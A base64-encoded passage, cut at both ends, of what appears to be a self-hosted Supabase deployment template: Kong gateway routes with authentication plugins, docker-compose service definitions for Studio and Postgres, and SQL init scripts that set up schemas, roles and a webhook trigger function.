AgIyMgU2VjdXJlIFJFU1Qgcm91dGVzXG4gIC0gbmFtZTogcmVzdC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvcmVzdC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZXN0LXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3Jlc3QvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIEdyYXBoUUwgcm91dGVzXG4gIC0gbmFtZTogZ3JhcGhxbC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvZ3JhcGhxbC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWwnXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtcmVzdDozMDAwL3JwYy9ncmFwaHFsXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBncmFwaHFsLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2dyYXBocWwvdjFcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IHJlcXVlc3QtdHJhbnNmb3JtZXJcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGFkZDpcbiAgICAgICAgICAgIGhlYWRlcnM6XG4gICAgICAgICAgICAgIC0gQ29udGVudC1Qcm9maWxlOmdyYXBocWxfcHVibGljXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUmVhbHRpbWUgcm91dGVzXG4gIC0gbmFtZTogcmVhbHRpbWUtdjEtd3NcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvc29ja2V0XG4gICAgcHJvdG9jb2w6IHdzXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3JlYWx0aW1lL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cbiAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgX2NvbW1lbnQ6ICdSZWFsdGltZTogL3JlYWx0aW1lL3YxLyogLT4gd3M6Ly9yZWFsdGltZTo0MDAwL3NvY2tldC8qJ1xuICAgIHVybDogaHR0cDovL3JlYWx0aW1lLWRldjo0MDAwL2FwaVxuICAgIHByb3RvY29sOiBodHRwXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvYXBpXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFN0b3JhZ2Ugcm91dGVzOiB0aGUgc3RvcmFnZSBzZXJ2ZXIgbWFuYWdlcyBpdHMgb3duIGF1dGhcbiAgLSBuYW1lOiBzdG9yYWdlLXYxXG4gICAgX2NvbW1lbnQ6ICdTdG9yYWdlOiAvc3RvcmFnZS92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBzdG9yYWdlLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3N0b3JhZ2UvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEVkZ2UgRnVuY3Rpb25zIHJvdXRlc1xuICAtIG5hbWU6IGZ1bmN0aW9ucy12MVxuICAgIF9jb21tZW50OiAnRWRnZSBGdW5jdGlvbnM6IC9mdW5jdGlvbnMvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOjkwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBmdW5jdGlvbnMtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZnVuY3Rpb25zL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBBbmFseXRpY3Mgcm91dGVzXG4gIC0gbmFtZTogYW5hbHl0aWNzLXYxXG4gICAgX2NvbW1lbnQ6ICdBbmFseXRpY3M6IC9hbmFseXRpY3MvdjEvKiAtPiBodHRwOi8vbG9nZmxhcmU6NDAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYW5hbHl0aWNzLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2FuYWx5dGljcy92MS9cblxuICAjIyBTZWN1cmUgRGF0YWJhc2Ugcm91dGVzXG4gIC0gbmFtZTogbWV0YVxuICAgIF9jb21tZW50OiAncGctbWV0YTogL3BnLyogLT4gaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IG1ldGEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcGcvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG5cbiAgIyMgUHJvdGVjdGVkIERhc2hib2FyZCAtIGNhdGNoIGFsbCByZW1haW5pbmcgcm91dGVzXG4gIC0gbmFtZTogZGFzaGJvYXJkXG4gICAgX2NvbW1lbnQ6ICdTdHVkaW86IC8qIC0+IGh0dHA6Ly9zdHVkaW86MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0dWRpbzozMDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogZGFzaGJvYXJkLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZTogYmFzaWMtYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuIgogIHN1cGFiYXNlLXN0dWRpbzoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3R1ZGlvOjIwMjUuMDYuMDItc2hhLThmMjk5M2QnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gImZldGNoKCdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3BsYXRmb3JtL3Byb2ZpbGUnKS50aGVuKChyKSA9PiB7aWYgKHIuc3RhdHVzICE9PSAyMDApIHRocm93IG5ldyBFcnJvcihyLnN0YXR1cyl9KSIKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSE9TVE5BTUU9MC4wLjAuMAogICAgICAtICdTVFVESU9fUEdfTUVUQV9VUkw9aHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MCcKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnREVGQVVMVF9PUkdBTklaQVRJT05fTkFNRT0ke1NUVURJT19ERUZBVUxUX09SR0FOSVpBVElPTjotRGVmYXVsdCBPcmdhbml6YXRpb259JwogICAgICAtICdERUZBVUxUX1BST0pFQ1RfTkFNRT0ke1NUVURJT19ERUZBVUxUX1BST0pFQ1Q6LURlZmF1bHQgUHJvamVjdH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD1odHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwJwogICAgICAtICdTVVBBQkFTRV9QVUJMSUNfVVJMPSR7U0VSVklDRV9GUUROX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFU0VSVklDRV9LRVl9JwogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0xPR0ZMQVJFX0FQSV9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0xPR0ZMQVJFfScKICAgICAgLSAnTE9HRkxBUkVfVVJMPWh0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMCcKICAgICAgLSAnU1VQQUJBU0VfUFVCTElDX0FQST0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxF